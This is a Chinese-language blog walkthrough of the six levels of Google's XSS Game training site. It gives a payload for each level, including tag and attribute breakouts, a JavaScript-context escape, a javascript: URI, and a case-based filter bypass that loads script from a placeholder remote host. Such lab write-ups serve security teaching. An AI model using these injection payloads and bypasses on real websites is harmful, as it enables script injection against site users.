不是我说,只要你把这个游戏通关了,XSS漏洞你就搞清楚了

本文详细解析了GoogleXSSGame的六级挑战,从输入输出点的定位到payload的设计,全面覆盖XSS攻击的各种场景,如标签内、JS环境、协议绕过等。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >


闲来无事玩了玩Google XSS Game,老嗨皮了!

Level 1: Hello, world of XSS

payload: <script>alert(1);</script>

xss挖掘最重要的就是找到输入输出点,输入就是页面的那个搜索框(input标签),输出在b标签中:

在这里插入图片描述
直接用最普通的payload测试,发现没有过滤。

Level 2: Persistence is key

输出还是在标签之间,不过这次是blockquote标签,而且测试发现<script>alert(1);</script>不能执行,换一个payload:<img src=# onerror=alert(1);>,就可以执行

Level 3: That sinking feeling…

输入输出点分别如下:

在这里插入图片描述输出点在img标签的src属性中,我们可以闭合单引号,payload: ' onerror=alert(1)//

Level 4: Context matters

payload:3');alert('1

点击create timer按钮过后,查看元素,可以观察到输出点有两个,一个是在onload方法中,一个是div标签之间
在这里插入图片描述我最开始尝试的是闭合div标签,但是发现尖括号被html实体编码了,在这种情况下闭合div标签这条路就不可行了,但是另一个输出点是在js环境中(onload属性的值是属于js环境),而在这种情形下,浏览器的解码顺序为html->js,所以,如果这里只是进行了html实体编码是不能够预防xss的,当我们输入payload:3');alert('1的时候,单引号在后端会被html实体编码,然后输出到onload属性中,但是我们之前说了,onload中的解码顺序是先html解码,然后js解码,所以在执行js的时候,我们的payload已经是被html解码了,就可以闭合单引号了,从而触发了xss.

Level 5: Breaking protocol

输出点:a标签的href属性中

在这里插入图片描述
我们可以使用javascript写一构造payload: javascript:alert(1);

Level 6: Follow the 🐇

这一题是根据url锚点的值来加载js:

在这里插入图片描述但是当我们输入http://xxxx/haha.js加载远程js的时候,会被拦截,提示不能加载包含http的地址,看了js函数实现后发现,他只是过滤了小写的http与https,suoyi1,我们可以用大小写绕过:

payload1:HTTP://xxxxx/haha.js
其他payloads:
payload2:data:text/javascript,alert(1)
payload3://xxxxx.com/haha.js

script标签的src属性如果是//xxx.com/hhah.js格式,那么使用的协议就与站点的协议一致,我这里使用的xss-game网址是http协议的,有些小伙伴可能使用的是https版本的,这个时候你可以切换到http协议,或者自己找一个https的服务器并把弹窗js文件放上去,一样可以弹窗


你看这个二维码,它好好看呀,好想用手机扫一下呀

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值